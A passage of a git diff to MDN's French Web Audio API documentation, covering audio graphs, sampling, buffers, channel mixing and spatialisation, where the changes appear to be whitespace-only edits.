4.5 2.25-4.5-2.25-4.5z" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><text y="22" text-anchor="left" font-size="10" font-family="Helvetica" transform="translate(421 216)"> Chaque entrée / sortie est <tspan x="0" dy="1.5em">composée de plusieurs canaux.</tspan> - <tspan x="0" dy="1.5em">Ici on voit une configuration 5.1</tspan> + <tspan x="0" dy="1.5em">Ici on voit une configuration 5.1</tspan> </text><path fill="#719fd0" stroke="#000" pointer-events="none" d="M151 13h118v50H151z"/><text x="34" y="12" text-anchor="middle" font-size="12" font-family="Helvetica" transform="translate(176 32)">Noeud audio</text><path d="M9 47h119.9" fill="none" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="m135.65 47-9 4.5 2.25-4.5-2.25-4.5z" stroke="#000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path fill="#719fd0" stroke="#000" pointer-events="none" d="M419 1h118v50H419z"/><text x="34" y="12" text-anchor="middle" font-size="12" font-family="Helvetica" transform="translate(444 20)">Noeud audio</text><path fill="#719fd0" stroke="#000" pointer-events="none" d="M419 91h118v50H419z"/><text x="34" y="12" text-anchor="middle" font-size="12" font-family="Helvetica" transform="translate(444 110)">Noeud audio</text><text x="19" y="10" text-anchor="middle" font-size="10" font-family="Helvetica" transform="translate(41 12)">Sources</text><text x="24" y="10" text-anchor="middle" font-size="10" font-family="Helvetica" transform="translate(308 11)">Destination</text></g></svg>
\ No newline at end of file diff --git a/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.md b/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.md index 503ef5e776..ee4e66819e 100644 --- a/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.md +++ b/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.md @@ -7,51 +7,51 @@ Cet article explique une partie de la théorie sur laquelle s'appuient les fonct ## Graphes audio -La Web Audio API implique d'effectuer le traitement du son dans un **contexte** **audio**; elle a été conçue sur le principe de **routage modulaire**. Les opérations basiques sont effectuées dans **noeuds audio**, qui sont liés entre eux pour former un **graphe de routage audio**. Un seul contexte peut supporter plusieurs sources — avec différentes configurations de canaux. Cette architecture modulaire assure la flexibilité nécessaire pour créer des fonctions audio complexes avec des effets dynamiques. +La Web Audio API implique d'effectuer le traitement du son dans un **contexte** **audio**; elle a été conçue sur le principe de **routage modulaire**. Les opérations basiques sont effectuées dans **noeuds audio**, qui sont liés entre eux pour former un **graphe de routage audio**. Un seul contexte peut supporter plusieurs sources — avec différentes configurations de canaux. Cette architecture modulaire assure la flexibilité nécessaire pour créer des fonctions audio complexes avec des effets dynamiques. -Les noeuds audio sont liés au niveau de leur entrée et leur sortie, formant une chaîne qui commence avec une ou plusieurs sources, traverse un ou plusieurs noeuds, et se termine avec une sortie spécifique (bien qu'il ne soit pas nécessaire de spécifier une sortie si, par exemple, vous souhaitez seulement visualiser des données audio). Un scénario simple, représentatif de la Web Audio API, pourrait ressembler à ceci : +Les noeuds audio sont liés au niveau de leur entrée et leur sortie, formant une chaîne qui commence avec une ou plusieurs sources, traverse un ou plusieurs noeuds, et se termine avec une sortie spécifique (bien qu'il ne soit pas nécessaire de spécifier une sortie si, par exemple, vous souhaitez seulement visualiser des données audio). Un scénario simple, représentatif de la Web Audio API, pourrait ressembler à ceci : -1. Création d'un contexte audio -2. Dans ce contexte, création des sources — telles que `<audio>`, oscillateur, flux -3. Création des noeuds d'effets, tels que réverb, filtres biquad, balance, compresseur -4. Choix final de la sortie audio, par exemple les enceintes du système +1. Création d'un contexte audio +2. Dans ce contexte, création des sources — telles que `<audio>`, oscillateur, flux +3. Création des noeuds d'effets, tels que réverb, filtres biquad, balance, compresseur +4. Choix final de la sortie audio, par exemple les enceintes du système 5. Connection des sources aux effets, et des effets à la sortie.  -Chaque entrée ou sortie est composée de plusieurs **canaux,** chacun correspondant à une configuration audio spécifique. Tout type de canal discret est supporté, y compris *mono*, _stereo_, _quad_, _5.1_, etc. +Chaque entrée ou sortie est composée de plusieurs **canaux,** chacun correspondant à une configuration audio spécifique. Tout type de canal discret est supporté, y compris *mono*, _stereo_, _quad_, _5.1_, etc.  -Les sources audio peuvent être de provenance variée : +Les sources audio peuvent être de provenance variée : -- générées directement en JavaScript avec un noeud audio (tel qu'un oscillateur) -- créées à partir de données PCM brutes (le contexte audio a des méthodes pour décoder les formats audio supportés) -- fournies par une balise HTML media (telle que {{HTMLElement("video")}} ou {{HTMLElement("audio")}}) -- récupérées directement avec [WebRTC](/en-US/docs/WebRTC) {{domxref("MediaStream")}} (une webcam ou un microphone) +- générées directement en JavaScript avec un noeud audio (tel qu'un oscillateur) +- créées à partir de données PCM brutes (le contexte audio a des méthodes pour décoder les formats audio supportés) +- fournies par une balise HTML media (telle que {{HTMLElement("video")}} ou {{HTMLElement("audio")}}) +- récupérées directement avec [WebRTC](/en-US/docs/WebRTC) {{domxref("MediaStream")}} (une webcam ou un microphone) ## Données audio: ce qu'on trouve dans un échantillon -Lors du traitement d'un signal audio, **l'échantillonage** désigne la conversion d'un [signal continu](http://en.wikipedia.org/wiki/Continuous_signal) en [signal discret](http://en.wikipedia.org/wiki/Discrete_signal); formulé autrement, une onde de son continue, comme un groupe qui joue en live, est convertie en une séquence d'échantillons (un signal temporel discret) qui permet à l'ordinateur de traiter le son en blocs distincts. +Lors du traitement d'un signal audio, **l'échantillonage** désigne la conversion d'un [signal continu](http://en.wikipedia.org/wiki/Continuous_signal) en [signal discret](http://en.wikipedia.org/wiki/Discrete_signal); formulé autrement, une onde de son continue, comme un groupe qui joue en live, est convertie en une séquence d'échantillons (un signal temporel discret) qui permet à l'ordinateur de traiter le son en blocs distincts. -On peut trouver davantage de détails sur la page Wikipedia [Echantillonage (signal)](<https://fr.wikipedia.org/wiki/%C3%89chantillonnage_(signal)>). +On peut trouver davantage de détails sur la page Wikipedia [Echantillonage (signal)](<https://fr.wikipedia.org/wiki/%C3%89chantillonnage_(signal)>). -## Mémoire tampon : trames, échantillons et canaux +## Mémoire tampon : trames, échantillons et canaux -Un {{ domxref("AudioBuffer") }} prend comme paramètres un nombre de canaux (1 pour mono, 2 pour stéréo, etc), une longueur, qui correspond au nombre de trames d'échantillon dans la mémoire tampon, et un taux d'échantillonage, qui indique le nombre de trames d'échantillons lues par seconde. +Un {{ domxref("AudioBuffer") }} prend comme paramètres un nombre de canaux (1 pour mono, 2 pour stéréo, etc), une longueur, qui correspond au nombre de trames d'échantillon dans la mémoire tampon, et un taux d'échantillonage, qui indique le nombre de trames d'échantillons lues par seconde. -Un échantillon est une valeur float32 unique, qui correspond à la valeur du flux audio à un point précis dans le temps, sur un canal spécifique (gauche ou droit dans le cas de la stéréo). Une trame, ou trame d'échantillon est l'ensemble de toutes les valeurs pour tous les canaux (deux pour la stéréo, six pour le 5.1, etc.) à un point précis dans le temps. +Un échantillon est une valeur float32 unique, qui correspond à la valeur du flux audio à un point précis dans le temps, sur un canal spécifique (gauche ou droit dans le cas de la stéréo). Une trame, ou trame d'échantillon est l'ensemble de toutes les valeurs pour tous les canaux (deux pour la stéréo, six pour le 5.1, etc.) à un point précis dans le temps. -Le taux d'échantillonage est le nombre d'échantillons (ou de trames, puisque tous les échantillons d'une trame jouent en même temps) qui sont joués en une seconde, exprimés en Hz. Plus le taux d'échantillonage est élevé, meilleure est la qualité du son. +Le taux d'échantillonage est le nombre d'échantillons (ou de trames, puisque tous les échantillons d'une trame jouent en même temps) qui sont joués en une seconde, exprimés en Hz. Plus le taux d'échantillonage est élevé, meilleure est la qualité du son. -Prenons deux {{ domxref("AudioBuffer") }}, l'un en mono et l'autre en stéréo, chacun d'une durée de 1 seconde et d'une fréquence de 44100Hz: +Prenons deux {{ domxref("AudioBuffer") }}, l'un en mono et l'autre en stéréo, chacun d'une durée de 1 seconde et d'une fréquence de 44100Hz: -- le mono aura 44100 échantillons, et 44100 trames. Sa propriété `length` vaudra 44100. -- le stéréo aura 88200 échantillons, et 44100 trames. Sa propriété `length` vaudra aussi 44100, puisqu'elle correspond au nombre de trames. +- le mono aura 44100 échantillons, et 44100 trames. Sa propriété `length` vaudra 44100. +- le stéréo aura 88200 échantillons, et 44100 trames. Sa propriété `length` vaudra aussi 44100, puisqu'elle correspond au nombre de trames.  -Lorsqu'un noeud de mémoire tampon est lu, on entend d'abord la trame la trame la plus à gauche, puis celle qui la suit à droite, etc. Dans le cas de la stéréo, on entend les deux canaux en même temps. Les trames d'échantillon sont très utiles, car elles représentent le temps indépendamment du nombre de canaux. +Lorsqu'un noeud de mémoire tampon est lu, on entend d'abord la trame la trame la plus à gauche, puis celle qui la suit à droite, etc. Dans le cas de la stéréo, on entend les deux canaux en même temps. Les trames d'échantillon sont très utiles, car elles représentent le temps indépendamment du nombre de canaux. > **Note :** Pour obtenir le temps en secondes à partir du nombre de trames, diviser le nombre de trames par le taux d'échantillonage. Pour obtenir le nombre de trames à partir du nombre d'échantillons, diviser le nombre d'échantillons par le nombre de canaux. @@ -62,22 +62,22 @@ var contexte = new AudioContext(); var memoireTampon = contexte.createBuffer(2, 22050, 44100); ``` -> **Note :** **44,100 [Hz](https://en.wikipedia.org/wiki/Hertz)** (que l'on peut aussi écrire **44.1 kHz**) est un [taux d'échantillonage](https://en.wikipedia.org/wiki/Sampling_frequency) couramment utilisé. Pourquoi 44.1kHz ? +> **Note :** **44,100 [Hz](https://en.wikipedia.org/wiki/Hertz)** (que l'on peut aussi écrire **44.1 kHz**) est un [taux d'échantillonage](https://en.wikipedia.org/wiki/Sampling_frequency) couramment utilisé. Pourquoi 44.1kHz ? > -> D'abord, parce ce que le [champ auditif](https://en.wikipedia.org/wiki/Hearing_range) qui peut être perçu par des oreilles humaines se situe à peu près entre 20 Hz et 20,000 Hz, et que selon le [théorème d'échantillonage de Nyquist–Shannon](https://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem) la fréquence d'échantillonage doit être supérieure à deux fois la fréquence maximum que l'on souhaite reproduire; le taux d'échantillonage doit donc être supérieur à 40 kHz. +> D'abord, parce ce que le [champ auditif](https://en.wikipedia.org/wiki/Hearing_range) qui peut être perçu par des oreilles humaines se situe à peu près entre 20 Hz et 20,000 Hz, et que selon le [théorème d'échantillonage de Nyquist–Shannon](https://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem) la fréquence d'échantillonage doit être supérieure à deux fois la fréquence maximum que l'on souhaite reproduire; le taux d'échantillonage doit donc être supérieur à 40 kHz. > -> De plus, le signal doit être traité par un [filtre passe-bas](https://en.wikipedia.org/wiki/Low-pass_filter) avant d'être échantilloné, afin d'éviter le phénomène d'[aliasing](https://en.wikipedia.org/wiki/Aliasing), et, si en théorie un filtre passe-bas idéal devrait être capable de laisser passer les fréquences inférieures à 20 kHz (sans les atténuer) et de couper parfaitement les fréquences supérieures à 20 kHz, en pratique une [bande de transition](https://en.wikipedia.org/wiki/Transition_band) dans laquelle les fréquences sont partiellement atténuées est nécessaire. Plus la bande de transition est large, plus il est facile et économique de faire un [filtre anti-aliasing](https://en.wikipedia.org/wiki/Anti-aliasing_filter). Le taux d'échantillonage 44.1 kHz laisse une bande de transition de 2.05 kHz. +> De plus, le signal doit être traité par un [filtre passe-bas](https://en.wikipedia.org/wiki/Low-pass_filter) avant d'être échantilloné, afin d'éviter le phénomène d'[aliasing](https://en.wikipedia.org/wiki/Aliasing), et, si en théorie un filtre passe-bas idéal devrait être capable de laisser passer les fréquences inférieures à 20 kHz (sans les atténuer) et de couper parfaitement les fréquences supérieures à 20 kHz, en pratique une [bande de transition](https://en.wikipedia.org/wiki/Transition_band) dans laquelle les fréquences sont partiellement atténuées est nécessaire. Plus la bande de transition est large, plus il est facile et économique de faire un [filtre anti-aliasing](https://en.wikipedia.org/wiki/Anti-aliasing_filter). Le taux d'échantillonage 44.1 kHz laisse une bande de transition de 2.05 kHz. -Ce code génère une mémoire tampon stéréo (deux canaux) qui, lorsqu'elle est lue dans un AudioContext à 44100Hz (configuration répandue, la plupart des cartes sons tournant à cette fréquence), dure 0.5 secondes: 22050 trames / 44100Hz = 0.5 secondes. +Ce code génère une mémoire tampon stéréo (deux canaux) qui, lorsqu'elle est lue dans un AudioContext à 44100Hz (configuration répandue, la plupart des cartes sons tournant à cette fréquence), dure 0.5 secondes: 22050 trames / 44100Hz = 0.5 secondes. ```js var contexte = new AudioContext(); var memoireTampon = context.createBuffer(1, 22050, 22050); ``` -Ce code génère une mémoire tampon mono (un seul canal) qui, lorsqu'elle est lue dans un AudioContext à 44100Hzz, est automatiquement \*rééchantillonnée\* à 44100Hz (et par conséquent produit 44100 trames), et dure 1.0 seconde: 44100 frames / 44100Hz = 1 seconde. +Ce code génère une mémoire tampon mono (un seul canal) qui, lorsqu'elle est lue dans un AudioContext à 44100Hzz, est automatiquement \*rééchantillonnée\* à 44100Hz (et par conséquent produit 44100 trames), et dure 1.0 seconde: 44100 frames / 44100Hz = 1 seconde. -> **Note :** le rééchantillonnage audio est très similaire à la redimension d'une image : imaginons que vous ayiez une image de 16 x 16, mais que vous vouliez remplir une surface de 32x32: vous la redimensionnez (rééchantillonnez). Le résultat est de qualité inférieure (il peut être flou ou crénelé, en fonction de l'algorithme de redimensionnement), mais cela fonctionne, et l'image redimensionnée prend moins de place que l'originale. C'est la même chose pour le rééchantillonnage audio — vous gagnez de la place, mais en pratique il sera difficle de reproduire correctement des contenus de haute fréquence (c'est-à-dire des sons aigus). +> **Note :** le rééchantillonnage audio est très similaire à la redimension d'une image : imaginons que vous ayiez une image de 16 x 16, mais que vous vouliez remplir une surface de 32x32: vous la redimensionnez (rééchantillonnez). Le résultat est de qualité inférieure (il peut être flou ou crénelé, en fonction de l'algorithme de redimensionnement), mais cela fonctionne, et l'image redimensionnée prend moins de place que l'originale. C'est la même chose pour le rééchantillonnage audio — vous gagnez de la place, mais en pratique il sera difficle de reproduire correctement des contenus de haute fréquence (c'est-à-dire des sons aigus). ### Mémoire tampon linéaire ou entrelacée @@ -91,13 +91,13 @@ L'alternative est d'utiliser un format entrelacé: LRLRLRLRLRLRLRLRLRLRLRLRLRLRLRLR (pour un buffer de 16 trames) -Ce format est communément utilisé pour stocker et lire du son avec très peu de traitement, comme par exemple pour un flux de MP3 décodé. +Ce format est communément utilisé pour stocker et lire du son avec très peu de traitement, comme par exemple pour un flux de MP3 décodé. La Web Audio API expose \*uniquement\* des buffer linéaires, car elle est faite pour le traitement du son. Elle fonctionne en linéaire, mais convertit les données au format entrelacé au moment de les envoyer à la carte son pour qu'elles soient jouées. A l'inverse, lorsqu'un MP3 est décodé, le format d'origine entrelacé est converti en linéaire pour le traitement. ## Canaux audio -Une mémoire tampon audio peut contenir différents nombres de canaux, depuis les configurations simple mono (un seul canal) ou stéréo (canal gauche et canal droit) en allant jusquà des configurations plus complexe comme le quad ou le 5.1, pour lesquels chaque canal contient plusieurs échantillons de sons, ce qui permet une expérience sonore plus riche. Les canaux sont généralement représentés par les abbréviations standard détaillées dans le tableau ci-après : +Une mémoire tampon audio peut contenir différents nombres de canaux, depuis les configurations simple mono (un seul canal) ou stéréo (canal gauche et canal droit) en allant jusquà des configurations plus complexe comme le quad ou le 5.1, pour lesquels chaque canal contient plusieurs échantillons de sons, ce qui permet une expérience sonore plus riche. Les canaux sont généralement représentés par les abbréviations standard détaillées dans le tableau ci-après : <table class="standard-table"> <tbody> @@ -234,7 +234,7 @@ Lorsque le nombre de canaux n'est pas le même en entrée et en sortie, on effec <td> <em>Conversion descendante de quad vers mono</em>.<br />Les quatre canaux de sortie (<code>L</code>, <code>R</code>, <code>SL</code>, et - <code>SR</code>) sont combinés pour produire l'unique canal de sortie + <code>SR</code>) sont combinés pour produire l'unique canal de sortie (<code>M</code>).<br /><code >output.M = 0.25 * (input.L + input.R + </code ><code>input.SL + input.SR</code><code>)</code> @@ -291,7 +291,7 @@ Lorsque le nombre de canaux n'est pas le même en entrée et en sortie, on effec <td><code>2</code> <em>(Stéréo)</em></td> <td> <em>Conversion descendante de 5.1 vers stéréo.</em><br />Le canal - central (<code>C</code>) est additionné avec chacun des canaux latéraux + central (<code>C</code>) est additionné avec chacun des canaux latéraux (<code>SL</code> et <code>SR</code>) puis combiné avec chacun des canaux latéraux (L et R). Comme il est converti en deux canaux, il est mixé à une puissance inférieure : multiplié par <code>√2/2</code>. Le canal @@ -325,7 +325,7 @@ Lorsque le nombre de canaux n'est pas le même en entrée et en sortie, on effec <code>channelInterpretation</code> avait la valeur <code>discrete</code>.<br />La spécification autorise explicitement la définition à venir de nouvelles configurations de sortie pour les - enceintes. Ce cas de figure n'est par conséquent pas garanti dans le + enceintes. Ce cas de figure n'est par conséquent pas garanti dans le futur, car le comportement des navigateurs pour un nombre spécifique de canaux pourrait être amené à changer. </td> @@ -377,19 +377,19 @@ On peut accéder aux données en utilisant les méthodes suivantes: - {{domxref("AnalyserNode.getFloatTimeDomainData()")}} - : Copie les données de l'onde de forme, ou domaine temporel, dans le {{domxref("Float32Array")}} passé en argument. - {{domxref("AnalyserNode.getByteTimeDomainData()")}} - - : Copie les données de l'onde de forme, ou domaine temporel, dans le tableau d'octets non signés {{domxref("Uint8Array")}} passé en argument. + - : Copie les données de l'onde de forme, ou domaine temporel, dans le tableau d'octets non signés {{domxref("Uint8Array")}} passé en argument. > **Note :** Pour plus d'informations, voir notre article [Visualizations with Web Audio API](/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API). ## Spatialisations -Une spatialisation audio (gérée par les noeuds {{domxref("PannerNode")}} et {{domxref("AudioListener")}} dans la Web Audio API) permet de modéliser la position et le comportement d'un signal audio situé dans l'espace, ainsi que l'auditeur qui perçoit ce signal. +Une spatialisation audio (gérée par les noeuds {{domxref("PannerNode")}} et {{domxref("AudioListener")}} dans la Web Audio API) permet de modéliser la position et le comportement d'un signal audio situé dans l'espace, ainsi que l'auditeur qui perçoit ce signal. La position du panoramique est décrite avec des coodonnées cartésiennes selon la règle de la main droite, son mouvement à l'aide d'un vecteur de vélocité (nécessaire pour la création d'effets Doppler) et sa direction avec un cone de direction. Le cone peut être très large, par exemple dans le cas de sources omnidirectionnelles.  -La position de l'auditeur est décrite avec des coodonnées cartésiennes selon la règle de la main droite, son mouvement à l'aide d'un vecteur de vélocité et la direction vers laquelle elle pointe en utilisant deux vecteurs de direction : haut et face. Ceux-ci définissent respectivement la direction vers laquelle pointent le haut de la tête et le bout du nez de l'auditeur, et forment un angle droit entre eux. +La position de l'auditeur est décrite avec des coodonnées cartésiennes selon la règle de la main droite, son mouvement à l'aide d'un vecteur de vélocité et la direction vers laquelle elle pointe en utilisant deux vecteurs de direction : haut et face. Ceux-ci définissent respectivement la direction vers laquelle pointent le haut de la tête et le bout du nez de l'auditeur, et forment un angle droit entre eux.  diff --git a/files/fr/web/api/web_audio_api/index.md b/files/fr/web/api/web_audio_api/index.md index d11a9df3d0..449857d226 100644 --- a/files/fr/web/api/web_audio_api/index.md +++ b/files/fr/web/api/web_audio_api/index.md @@ -7,11 +7,11 @@ La Web Audio API propose un système puissant et flexible pour contrôler les do ## Concepts et usages -La Web Audio API effectue des opérations dans un **contexte audio**; elle a été conçue pour supporter le **routing modulaire**. Les opérations audio basiques sont réalisées via des **noeuds audio** reliés entre eux pour former un **graphe de routage audio**. Plusieurs sources - avec différents types d'agencements de canaux - peuvent être supportées, même dans un seul contexte. Ce design modulaire et flexible permet de créer des fonctions audio complexes avec des effets dynamiques. +La Web Audio API effectue des opérations dans un **contexte audio**; elle a été conçue pour supporter le **routing modulaire**. Les opérations audio basiques sont réalisées via des **noeuds audio** reliés entre eux pour former un **graphe de routage audio**. Plusieurs sources - avec différents types d'agencements de canaux - peuvent être supportées, même dans un seul contexte. Ce design modulaire et flexible permet de créer des fonctions audio complexes avec des effets dynamiques. -Les noeuds audio sont reliés au niveau de leurs entrées et sorties, formant des chaînes ou des réseaux simples. Il peut y avoir une ou plusieurs sources. Les sources fournissent des tableaux d'intensités sonores (échantillons), souvent plusieurs dizaines de milliers par seconde. Ceux-ci peuvent être calculées mathématiquement (avec un {{domxref("OscillatorNode")}}), ou peuvent provenir de fichiers sons ou vidéos (comme {{domxref("AudioBufferSourceNode")}} ou {{domxref("MediaElementAudioSourceNode")}}) ou de flux audio ({{domxref("MediaStreamAudioSourceNode")}}). En réalité, les fichiers sons sont eux-même des enregistrements d'intensités sonores, qui viennent de microphones ou d'instruments électriques, et sont mixés dans une seule onde complexe. +Les noeuds audio sont reliés au niveau de leurs entrées et sorties, formant des chaînes ou des réseaux simples. Il peut y avoir une ou plusieurs sources. Les sources fournissent des tableaux d'intensités sonores (échantillons), souvent plusieurs dizaines de milliers par seconde. Ceux-ci peuvent être calculées mathématiquement (avec un {{domxref("OscillatorNode")}}), ou peuvent provenir de fichiers sons ou vidéos (comme {{domxref("AudioBufferSourceNode")}} ou {{domxref("MediaElementAudioSourceNode")}}) ou de flux audio ({{domxref("MediaStreamAudioSourceNode")}}). En réalité, les fichiers sons sont eux-même des enregistrements d'intensités sonores, qui viennent de microphones ou d'instruments électriques, et sont mixés dans une seule onde complexe. -Les sorties de ces noeuds peuvent être liées aux entrées d'autres noeuds, qui mixent ces flux d'échantillons sonores ou les séparent en différents flux. Une modification courante est la multiplications des échantillons par une valeur afin d'en augmenter ou diminuer le volume sonore (comme c'est le cas pour le {{domxref("GainNode")}}). Le son est ensuite lié à une destination ({{domxref("AudioContext.destination")}}), qui l'envoie aux enceintes ou au casque audio. Cette dernière connexion n'est utile que si le son doit être entendu. +Les sorties de ces noeuds peuvent être liées aux entrées d'autres noeuds, qui mixent ces flux d'échantillons sonores ou les séparent en différents flux. Une modification courante est la multiplications des échantillons par une valeur afin d'en augmenter ou diminuer le volume sonore (comme c'est le cas pour le {{domxref("GainNode")}}). Le son est ensuite lié à une destination ({{domxref("AudioContext.destination")}}), qui l'envoie aux enceintes ou au casque audio. Cette dernière connexion n'est utile que si le son doit être entendu. Un processus de développement typique avec web audio ressemble à ceci : @@ -25,13 +25,13 @@ Un processus de développement typique avec web audio ressemble à ceci : Le timing est contrôlé avec une grande précision et une latence faible, ce qui permet aux développeurs d'écrire un code qui réagit précisément aux événements et qui est capable de traiter des échantillons précis, même avec un taux d'échantillonnage élevé. Cela permet d'envisager des applications telles que des boîtes à rythme ou des séquenceurs. -La Web Audio API permet également de contrôler la _spatialisation_ du son. En utilisant un système basé sur le modèle _émetteur - récepteur,_ elle permet le contrôle de la balance ainsi que la gestion de l'atténuation du son en fonction de la distance, ou effet doppler, induite par un déplacement de la source sonore (ou de l'auditeur). +La Web Audio API permet également de contrôler la _spatialisation_ du son. En utilisant un système basé sur le modèle _émetteur - récepteur,_ elle permet le contrôle de la balance ainsi que la gestion de l'atténuation du son en fonction de la distance, ou effet doppler, induite par un déplacement de la source sonore (ou de l'auditeur). > **Note :** Vous pouvez lire davantage de détails sur l'API <i lang="en">Web Audio</i> en vous rendant sur notre article [Les concepts de base de l'API <i lang="en">Web Audio</i>](/fr/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API). -## Interface de la Web Audio API +## Interface de la Web Audio API -La Web Audio API expose 28 interfaces avec des événements associés, classés selon leur fonction en 9 catégories. +La Web Audio API expose 28 interfaces avec des événements associés, classés selon leur fonction en 9 catégories. ### Définition du graphe audio @@ -55,7 +55,7 @@ Conteneurs et définitions qui donnent sa forme au graphe audio - {{domxref("AudioBufferSourceNode")}} - : Un objet **`AudioBufferSourceNode`** est une source audio composée de données audio montées en mémoire dans un {{domxref("AudioBuffer")}}. C'est un {{domxref("AudioNode")}} qui se comporte comme une source audio. - {{domxref("MediaElementAudioSourceNode")}} - - : Un objet **`MediaElementAudio.SourceNode`** est une source audio composée d'un élément HTML5 {{ htmlelement("audio") }} ou {{ htmlelement("video") }}. C'est un {{domxref("AudioNode")}} qui se comporte comme une source audio. + - : Un objet **`MediaElementAudio.SourceNode`** est une source audio composée d'un élément HTML5 {{ htmlelement("audio") }} ou {{ htmlelement("video") }}. C'est un {{domxref("AudioNode")}} qui se comporte comme une source audio. - {{domxref("MediaStreamAudioSourceNode")}} - : Un objet **`MediaStreamAudio.SourceNode`** est une source audio composée d'un [WebRTC](/en-US/docs/WebRTC) {{domxref("MediaStream")}} (tel qu'une webcam ou un microphone). C'est un {{domxref("AudioNode")}} qui se comporte comme une source audio. @@ -66,63 +66,63 @@ Conteneurs et définitions qui donnent sa forme au graphe audio - {{domxref("ConvolverNode")}} - : Un objet **`Convolver.Node`** est un {{domxref("AudioNode")}} qui exécute une circonvolution linéaire sur un AudioBuffer donné, souvent utilisé pour créer un effet de réverbération. - {{domxref("DelayNode")}} - - : Un objet **`DelayNode`** est une ligne à retard numérique, c'est-à-dire un module de traitement automatique qui provoque un délai entre l'arrivée du son en entrée et sa propagation en sortie. + - : Un objet **`DelayNode`** est une ligne à retard numérique, c'est-à-dire un module de traitement automatique qui provoque un délai entre l'arrivée du son en entrée et sa propagation en sortie. - {{domxref("DynamicsCompressorNode")}} - - : Un objet **`DynamicsCompressorNode`** permet un effet de compression, qui réduit le volume des parties les plus fortes du signal de façon à éviter les effets de clipping et la distortion qui peuvent se produire lorsque des sons multiples sont diffusés simultanément. + - : Un objet **`DynamicsCompressorNode`** permet un effet de compression, qui réduit le volume des parties les plus fortes du signal de façon à éviter les effets de clipping et la distortion qui peuvent se produire lorsque des sons multiples sont diffusés simultanément. - {{domxref("GainNode")}} - - : Un objet **`GainNode`** représente une modification du volume sonore. C'est un module de traitement audio qui provoque l'application d'un *gain* aux données récupérées en entrée avant leur propagation vers la sortie. + - : Un objet **`GainNode`** représente une modification du volume sonore. C'est un module de traitement audio qui provoque l'application d'un *gain* aux données récupérées en entrée avant leur propagation vers la sortie. - {{domxref("WaveShaperNode")}} - - : Un objet **`WaveShaperNode`** représente une distortion non linéaire. C'est un {{domxref("AudioNode")}} qui utilise une courbe pour appliquer au signal une distortion de mise en forme des ondes. En dehors de l'effet de distortion évident, il est souvent utilisé pour donner un caractère plus chaleureux au son. + - : Un objet **`WaveShaperNode`** représente une distortion non linéaire. C'est un {{domxref("AudioNode")}} qui utilise une courbe pour appliquer au signal une distortion de mise en forme des ondes. En dehors de l'effet de distortion évident, il est souvent utilisé pour donner un caractère plus chaleureux au son. - {{domxref("PeriodicWave")}} - - : Un objet {{domxref("PeriodicWave")}} est utilisé pour définir une forme d'onde périodique qui peut être utilisée pour façonner la sortie d'un {{ domxref("OscillatorNode") }}. + - : Un objet {{domxref("PeriodicWave")}} est utilisé pour définir une forme d'onde périodique qui peut être utilisée pour façonner la sortie d'un {{ domxref("OscillatorNode") }}. ### Définition des destinations audio Une fois que le signal audio a été traité, ces interfaces définissent sa destination. - {{domxref("AudioDestinationNode")}} - - : Un noeud **`AudioDestinationNode`** représente la destination finale d'une source audio source dans un contexte donné — en général les enceintes du matériel. + - : Un noeud **`AudioDestinationNode`** représente la destination finale d'une source audio source dans un contexte donné — en général les enceintes du matériel. - {{domxref("MediaStreamAudioDestinationNode")}} - - : Un noeud **`MediaStreamAudio.DestinationNode`** représente une destination audio constituée d'un {{domxref("MediaStream")}} [WebRTC](/en-US/docs/WebRTC) à une seule piste `AudioMediaStreamTrack`; il peut être utilisé de façon similaire à un {{domxref("MediaStream")}} obtenu avec {{ domxref("Navigator.getUserMedia") }}. C'est un {{domxref("AudioNode")}} qui se comporte comme une destination audio. + - : Un noeud **`MediaStreamAudio.DestinationNode`** représente une destination audio constituée d'un {{domxref("MediaStream")}} [WebRTC](/en-US/docs/WebRTC) à une seule piste `AudioMediaStreamTrack`; il peut être utilisé de façon similaire à un {{domxref("MediaStream")}} obtenu avec {{ domxref("Navigator.getUserMedia") }}. C'est un {{domxref("AudioNode")}} qui se comporte comme une destination audio. -### Analyse des données et visualisation +### Analyse des données et visualisation - {{domxref("AnalyserNode")}} - - : Un objet **`AnalyserNode`** fournit en temps réel des informations concernant la fréquence et le temps, afin de les analyser et les visualiser. + - : Un objet **`AnalyserNode`** fournit en temps réel des informations concernant la fréquence et le temps, afin de les analyser et les visualiser. ### Division et fusion des pistes audio - {{domxref("ChannelSplitterNode")}} - - : Un noeud **`ChannelSplitterNode`** prend en entrée une source audio et sépare ses différentes pistes en une série de sorties *mono*. + - : Un noeud **`ChannelSplitterNode`** prend en entrée une source audio et sépare ses différentes pistes en une série de sorties *mono*. - {{domxref("ChannelMergerNode")}} - - : Un noeud **`ChannelMergerNode`** réunit différentes entrées mono en une seule sortie. Chaque entrée devient une des pistes de la sortie unique. + - : Un noeud **`ChannelMergerNode`** réunit différentes entrées mono en une seule sortie. Chaque entrée devient une des pistes de la sortie unique. ### Spatialisation audio - {{domxref("AudioListener")}} - - : Un objet **`AudioListener`** représente la position et l'orientation de l'unique personne écoutant la scene audio utilisée dans la spatialisation audio. + - : Un objet **`AudioListener`** représente la position et l'orientation de l'unique personne écoutant la scene audio utilisée dans la spatialisation audio. - {{domxref("PannerNode")}} - - : Un noeud **`PannerNode`** représente le comportement d'un signal dans l'espace. C'est un module de traitement audio qui décrit sa position avec des coordonnées cartésiennes fondées sur la règle de la main droite; ses mouvements utilisent un vecteur de vélocité et sa directionnalité un cône de direction. + - : Un noeud **`PannerNode`** représente le comportement d'un signal dans l'espace. C'est un module de traitement audio qui décrit sa position avec des coordonnées cartésiennes fondées sur la règle de la main droite; ses mouvements utilisent un vecteur de vélocité et sa directionnalité un cône de direction. ### Traitement audio avec JavaScript -> **Note :** Au jour de la publication de la spécification Web Audio API le 29 août 2014, ces fonctionnalités sont dépréciées, et seront bientôt remplacées par {{ anch("Audio_Workers") }}. +> **Note :** Au jour de la publication de la spécification Web Audio API le 29 août 2014, ces fonctionnalités sont dépréciées, et seront bientôt 